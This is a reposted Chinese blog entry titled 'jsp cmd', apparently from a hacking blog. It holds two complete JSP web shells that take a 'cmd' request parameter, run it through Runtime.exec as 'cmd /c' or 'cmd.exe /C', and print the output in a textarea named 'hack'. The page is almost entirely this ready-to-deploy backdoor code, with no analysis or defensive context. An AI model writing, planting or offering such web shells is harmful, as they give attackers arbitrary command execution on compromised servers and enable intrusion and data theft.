jsp cmd

最新推荐文章于 2024-09-01 08:09:34 发布

转载最新推荐文章于 2024-09-01 08:09:34 发布 · 1.4k 阅读

文章标签：

#cmd #jsp #string #output #null #exception

http://hi.baidu.com/forhack/blog/item/9ebaf70673b95b7e02088181.html

<%@ page contentType="text/html; charset=gb2312"%>
<%@ page import="java.io.*"%>
<html>
<head><title>jsp之cmd功能</title>
</head>
<body bgcolor=#000000>
<%
String strcmd="";
String strline="";
StringBuffer result=new StringBuffer("");
strcmd = request.getParameter("cmd");
   if(strcmd!=null)
try{
Process p=Runtime.getRuntime().exec("cmd /c "+strcmd);
   BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
   while((strline=br.readLine())!=null)
   {
   result.append(strline+"/r/n");
   }
}catch(Exception ex)
   {
   ex.printStackTrace();
   }
%>
<form name="cmd" action="" method="post">
<input type="text" name="cmd" value="<%=strcmd%>" size=50>
<input type=submit name=submit value="执行命令">
</form>
<%
if(result!=null && result.toString().trim().equals("")==false)
{
%>
<textarea name="hack" rows="20" cols="70"><%=result.toString()%></textarea>
<%
}
%>
</body>
</html>

(2)

<%@ page contentType="text/html; charset=gb2312"%>
<%@ page import="java.io.*"%>
<%
String cmd = request.getParameter("cmd");
String output = "";

if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<form method="post" action'cmdjsp.jsp'>
<input name='cmd' type=text>
<input type=submit value='Run'>
</form>
<textarea name="hack" rows="20" cols="70">
<%=output%>
</textarea>